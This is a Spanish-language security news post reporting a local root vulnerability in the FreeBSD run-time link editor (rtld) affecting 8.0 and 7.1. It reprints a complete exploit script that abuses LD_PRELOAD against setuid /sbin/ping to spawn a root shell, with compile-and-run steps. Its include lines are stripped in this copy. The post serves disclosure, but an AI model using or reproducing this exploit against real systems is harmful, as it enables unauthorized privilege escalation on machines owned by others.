Fallo en FreeBSD permite obtener root

Acaba de hacerse publica una vulnerabilidad descubierta por Nikolaos Rangos en los sistemas FreeBSD que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este sistema operativo. El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite variables de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte variables LD, incluso en los binarios setugid. VERSIONES DE FREEBSD AFECTADAS ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NO VULNERABLE FreeBSD 4.9-RELEASE *** NO VULNERABLE Para más detalles ver el exploit. #!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include #include #include #include void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF Para compilar y ejecutar gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env Mas Información en el Full Disclosure publicado por Nikolaos...

Leer Más

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES